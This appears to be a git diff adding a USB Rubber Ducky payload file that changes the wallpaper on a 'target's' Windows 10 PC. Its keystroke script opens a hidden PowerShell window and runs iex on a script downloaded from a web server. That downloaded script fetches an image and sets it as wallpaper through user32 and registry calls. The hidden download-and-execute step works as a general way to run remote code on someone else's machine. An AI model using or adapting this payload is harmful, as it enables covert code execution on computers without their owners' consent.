diff --git a/Payload---Windows-10-:-Download-&-Change-Wallpaper-another-version.rest b/Payload---Windows-10-:-Download-&-Change-Wallpaper-another-version.rest new file mode 100644 index 0000000..6d63e8f --- /dev/null +++ b/Payload---Windows-10-:-Download-&-Change-Wallpaper-another-version.rest @@ -0,0 +1,108 @@ +GET THE CODE SNIPS HERE: + +http://lostserver.com/static/rubberduckcode.txt + +It will set the background image on a targets pc to whatever jpg you want - i recommend mylittleponys :) + +Regards Keld Norman@DK + +Write this code to your Rubber Ducky payload file using the encoder, the wget is an alias that exist in powershell already: +--------------------------------------------------------------------- +SLEEP 600 + +GUI r + +DELAY 150 + +STRING powershell -windowstyle hidden iex (wget http://your-website.com/powershellscript.ps) + +ENTER + +The Powershell script on your webserver (http://your-website.com/powershellscript.ps): +--------------------------------------------------------------------- + +(new-object System.Net.WebClient).DownloadFile('http://your-website.com/mylittlepony.jpg',"$Env:Temp\\b.jpg"); + +Add-Type @" + +using System; + +using System.Runtime.InteropServices; + +using Microsoft.Win32; + +namespace Wallpaper + +{ + public enum Style : int + +{ + + Tile, Center, Stretch, NoChange + + } + public class Setter { + + public const int SetDesktopWallpaper = 20; + + public const int UpdateIniFile = 0x01; + + public const int SendWinIniChange = 0x02; + + [DllImport("user32.dll", SetLastError = true, CharSet = CharSet.Auto)] + + private static extern int SystemParametersInfo (int uAction, int uParam, string lpvParam, int fuWinIni); + + public static void SetWallpaper ( string path, Wallpaper.Style style ) { + + SystemParametersInfo( SetDesktopWallpaper, 0, path, UpdateIniFile | SendWinIniChange ); + + RegistryKey key = Registry.CurrentUser.OpenSubKey("Control Panel\\\\Desktop", true); + + switch( style ) + + { + + case Style.Stretch : + + key.SetValue(@"WallpaperStyle", "2") ; + + key.SetValue(@"TileWallpaper", "0") ; + + break; + + case Style.Center : + + key.SetValue(@"WallpaperStyle", "1") ; + + key.SetValue(@"TileWallpaper", "0") ; + + break; + + case Style.Tile : + + key.SetValue(@"WallpaperStyle", "1") ; + + key.SetValue(@"TileWallpaper", "1") ; + + break; + + case Style.NoChange : + + break; + } + + key.Close(); + + } + + } + +} + +"@ + +[Wallpaper.Setter]::SetWallpaper("$Env:Temp\b.jpg" , 2 ) + + +